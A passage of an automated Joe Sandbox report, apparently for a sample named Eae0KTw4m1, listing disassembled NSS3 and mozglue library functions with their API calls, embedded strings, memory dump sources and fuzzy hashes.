Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,6C66204A), ref: 6C6D0864
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6D0880
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C66204A), ref: 6C6D08CB
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08D7
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08FB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: fc8726db220db7ceb6979c10ce57103bddc9a9db07acda0dda77c017f33202d8
Instruction ID: 3754d98cd7108cdda11d31c85ac0c22f579023ee0832edcae0a2ba28b010f3b9
Opcode Fuzzy Hash: fc8726db220db7ceb6979c10ce57103bddc9a9db07acda0dda77c017f33202d8
Instruction Fuzzy Hash: 9E314572E00214ABD7008F2DCC44A8977AAAF0A31CF1586A6EC3C9B711E731E846C7D6

Function 6C6EAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6EAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C6EAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6EAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C6EAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C809500), ref: 6C6EAF23

Part of subcall function 6C73F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C73F0C8
Part of subcall function 6C73F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C73F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6EAF37

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 00a73492611466d5386b0666d214dbfa3b7c6f9f5439b6d55202f32a79674c89
Instruction ID: 0453c646636ca90e5bb2cd3499b3f757ad3631c4e54b65603d87af6579bdba50
Opcode Fuzzy Hash: 00a73492611466d5386b0666d214dbfa3b7c6f9f5439b6d55202f32a79674c89
Instruction Fuzzy Hash: 5E215CB190A2009BE7104F189D05B9A7FF4AF8832CF144716FD589B7D2E731D50987AB

Function 6C76EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76EE85
realloc.MOZGLUE(AD4D518F,?), ref: 6C76EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C76EEC5

Part of subcall function 6C740BE0: malloc.MOZGLUE(6C738D2D,?,00000000,?), ref: 6C740BF8
Part of subcall function 6C740BE0: TlsGetValue.KERNEL32(6C738D2D,?,00000000,?), ref: 6C740C15

htonl.WSOCK32(?), ref: 6C76EEE3
htonl.WSOCK32(00000000,?), ref: 6C76EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C76EF01

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: f5e1491d38891aed0e6b80f786b5c98546bfeb4abd233238775b1515bd0ed5e5
Instruction ID: fdc7834e694160a4d583bd72ae0b3ddee8bbc2a8fa26e45e6e75fa6b229e2eac
Opcode Fuzzy Hash: f5e1491d38891aed0e6b80f786b5c98546bfeb4abd233238775b1515bd0ed5e5
Instruction Fuzzy Hash: 0921D371A002189FDB109F29DE8879A77A8EF45358F148139ED199BB41E330EC14CBF2

Function 6C71EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C71EE49

Part of subcall function 6C73FAB0: free.MOZGLUE(?,-00000001,?,?,6C6DF673,00000000,00000000), ref: 6C73FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C71EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C71EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C71EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C71EEB3

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: e632d8a7c09875e9be4411e9a5e73cd125bcdc28871ce73d44817b78511314c6
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 2721F6B6A042146BEB018A14DD89EABB7ACAF05718F080164FD089BB12E671DC1887F1

Function 6C734820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C734EB8,?), ref: 6C734884

Part of subcall function 6C738800: TlsGetValue.KERNEL32(?,6C74085A,00000000,?,6C6E8369,?), ref: 6C738821
Part of subcall function 6C738800: TlsGetValue.KERNEL32(?,?,6C74085A,00000000,?,6C6E8369,?), ref: 6C73883D
Part of subcall function 6C738800: EnterCriticalSection.KERNEL32(?,?,?,6C74085A,00000000,?,6C6E8369,?), ref: 6C738856
Part of subcall function 6C738800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C738887
Part of subcall function 6C738800: PR_Unlock.NSS3(?,?,?,?,6C74085A,00000000,?,6C6E8369,?), ref: 6C738899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C734EB8,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C73484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C734EB8,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C73486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7348A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7348B8

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: c8c8cace0aee265de4d7cc2831d4428b60f8188b06e57e8bb96229685dd864c4
Instruction ID: 4f8d606a7ec0f82a5df67ad9aac339ab1f7ad0c0e756bfd69c542dff1d544d8d
Opcode Fuzzy Hash: c8c8cace0aee265de4d7cc2831d4428b60f8188b06e57e8bb96229685dd864c4
Instruction Fuzzy Hash: 3221DA72B0026097DF206E66DE889967BB4EF0635D7045535DE0D87B03E722F815D7E1

Function 6C776840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C77AA9B,?,?,?,?,?,?,?,00000000,?,6C7780C1), ref: 6C776846

Part of subcall function 6C6D1770: calloc.MOZGLUE(00000001,0000019C,?,6C6D15C2,?,?,?,?,?,00000001,00000040), ref: 6C6D178D

PR_NewMonitor.NSS3(00000000,?,6C77AA9B,?,?,?,?,?,?,?,00000000,?,6C7780C1), ref: 6C776855

Part of subcall function 6C738680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C6E55D0,00000000,00000000), ref: 6C73868B
Part of subcall function 6C738680: PR_NewLock.NSS3(00000000,00000000), ref: 6C7386A0
Part of subcall function 6C738680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C7386B2
Part of subcall function 6C738680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C7386C8
Part of subcall function 6C738680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C7386E2
Part of subcall function 6C738680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C7386EC
Part of subcall function 6C738680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C738700

PR_NewMonitor.NSS3(?,6C77AA9B,?,?,?,?,?,?,?,00000000,?,6C7780C1), ref: 6C77687D

Part of subcall function 6C6D1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6D18DE
Part of subcall function 6C6D1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6D18F1

PR_NewMonitor.NSS3(?,6C77AA9B,?,?,?,?,?,?,?,00000000,?,6C7780C1), ref: 6C77688C

Part of subcall function 6C6D1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6D18FC
Part of subcall function 6C6D1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6D198A

PR_NewLock.NSS3 ref: 6C7768A5

Part of subcall function 6C7A98D0: calloc.MOZGLUE(00000001,00000084,6C6D0936,00000001,?,6C6D102C), ref: 6C7A98E5

PR_NewLock.NSS3 ref: 6C7768B4

Part of subcall function 6C7A98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7A9946
Part of subcall function 6C7A98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6616B7,00000000), ref: 6C7A994E
Part of subcall function 6C7A98D0: free.MOZGLUE(00000000), ref: 6C7A995E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 84a2c67a8b902d42648b677726ecc2815d752f99b3a5809019f8a43c13de7cba
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: A3011DB0A01F0B46EB616BB74A143E776E49F0229CF10057E8469C6B54EF71E508CBB5

Function 6C6CAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6CAFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6CAFC4
%s at line %d of [%.10s], xrefs: 6C6CAFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C6CAF5C
misuse, xrefs: 6C6CAFCE

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: cd22481f11264593d6726e15636a8528693ca8ca5e830c6295e6351b6c29dbe8
Instruction ID: 49619045f5a7c92a5ba7ed3d9f64d2591100063689cc140224993a34674a8dc8
Opcode Fuzzy Hash: cd22481f11264593d6726e15636a8528693ca8ca5e830c6295e6351b6c29dbe8
Instruction Fuzzy Hash: 9A91E375B042158FDB04CF29C894AEAB7F1FF89314F198568E865AB752C334EC01CBA9

Function 6C5FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5FF480

Part of subcall function 6C5CF100: LoadLibraryW.KERNEL32(shell32,?,6C63D020), ref: 6C5CF122
Part of subcall function 6C5CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5CF132

CloseHandle.KERNEL32(00000000), ref: 6C5FF555

Part of subcall function 6C5D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5D1248,6C5D1248,?), ref: 6C5D14C9
Part of subcall function 6C5D14B0: memcpy.VCRUNTIME140(?,6C5D1248,00000000,?,6C5D1248,?), ref: 6C5D14EF

Part of subcall function 6C5CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5CEEE3

CreateFileW.KERNEL32 ref: 6C5FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5FF523

Strings

\oleacc.dll, xrefs: 6C5FF4CB

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c030b216e3c2ecd2817699f63ed0f3f6adab752d43c8d9e582688aa35d3d731a
Instruction ID: 3b33cb4800f84965448955d47e7e9c572bcaf1c2a2058b4a4163e88889fef48c
Opcode Fuzzy Hash: c030b216e3c2ecd2817699f63ed0f3f6adab752d43c8d9e582688aa35d3d731a
Instruction Fuzzy Hash: 5941BC306087109FE725DF69CC84A9BB7F4AF85318F104B1CE5A083A51EB70E94ACF92

Function 6C78A8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C772AE9,00000000,0000065C), ref: 6C78A91D

Part of subcall function 6C72ADC0: TlsGetValue.KERNEL32(?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE10
Part of subcall function 6C72ADC0: EnterCriticalSection.KERNEL32(?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE24
Part of subcall function 6C72ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C70D079,00000000,00000001), ref: 6C72AE5A
Part of subcall function 6C72ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE6F
Part of subcall function 6C72ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE7F
Part of subcall function 6C72ADC0: TlsGetValue.KERNEL32(?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEB1
Part of subcall function 6C72ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C772AE9,00000000,0000065C), ref: 6C78A934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C772AE9,00000000,0000065C), ref: 6C78A949
free.MOZGLUE(?,00000000,0000065C), ref: 6C78A952

Strings

*wl, xrefs: 6C78A8F6

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *wl
API String ID: 1595327144-989790210
Opcode ID: b7ac01b447334d0ed5a8c7626620d34077a1b29333ebf9616c95cd339f73754e
Instruction ID: 6da7c811d6726cb0bab9ed333277e248882bd0982c05d3046a6924c6cca7d383
Opcode Fuzzy Hash: b7ac01b447334d0ed5a8c7626620d34077a1b29333ebf9616c95cd339f73754e
Instruction Fuzzy Hash: 5C313CB46062119FDB04CF14DA84E62BBE8FF48368B1581B9E90D8B756E730E800CFA1

Function 6C7BA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C687915,?,?), ref: 6C7BA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C687915,?,?), ref: 6C7BA8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7BA891
%s at line %d of [%.10s], xrefs: 6C7BA8A0
database corruption, xrefs: 6C7BA89B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: aefdb5651dd3c787fe859e659939df6ddea80487f56cc7742b54d5cf6931a533
Instruction ID: 6f10fd70688c928ff02e04da413365a8ce9116d6740a111003badcc75ba082a4
Opcode Fuzzy Hash: aefdb5651dd3c787fe859e659939df6ddea80487f56cc7742b54d5cf6931a533
Instruction Fuzzy Hash: 50115971A00204AFCB169F12DD41A6AB7A1FF49324F004439FC194BF81EB34E916C7D5

Function 6C6D0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C6D0BDE), ref: 6C6D0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C6D0BDE), ref: 6C6D0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C6D0BDE), ref: 6C6D0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C6D0BDE), ref: 6C6D0E32

Strings

%s incr => %d (find lib), xrefs: 6C6D0E2D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 72fd5ed4e2e922f3ed9bcce4fefea874fcede8204475abb4af9abe680abb1874
Instruction ID: b683747490ec1740f3e87a0f998c49a0affd9b1bbacfedb76e56bfa975e1b03e
Opcode Fuzzy Hash: 72fd5ed4e2e922f3ed9bcce4fefea874fcede8204475abb4af9abe680abb1874
Instruction Fuzzy Hash: 1A01B1726002249FE6209F65DC89E17B3E8DB45B09B06487DE949D3B41E661FC15C6E1

Function 6C78AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]wl,00000000,?,?,6C766AC6,?), ref: 6C78AC2D

Part of subcall function 6C72ADC0: TlsGetValue.KERNEL32(?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE10
Part of subcall function 6C72ADC0: EnterCriticalSection.KERNEL32(?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE24
Part of subcall function 6C72ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C70D079,00000000,00000001), ref: 6C72AE5A
Part of subcall function 6C72ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE6F
Part of subcall function 6C72ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE7F
Part of subcall function 6C72ADC0: TlsGetValue.KERNEL32(?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEB1
Part of subcall function 6C72ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEC9

PK11_FreeSymKey.NSS3(?,@]wl,00000000,?,?,6C766AC6,?), ref: 6C78AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]wl,00000000,?,?,6C766AC6,?), ref: 6C78AC59
free.MOZGLUE(8CB6FF01,6C766AC6,?,?,?,?,?,?,?,?,?,?,6C775D40,00000000,?,6C77AAD4), ref: 6C78AC62

Strings

@]wl, xrefs: 6C78AC05

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

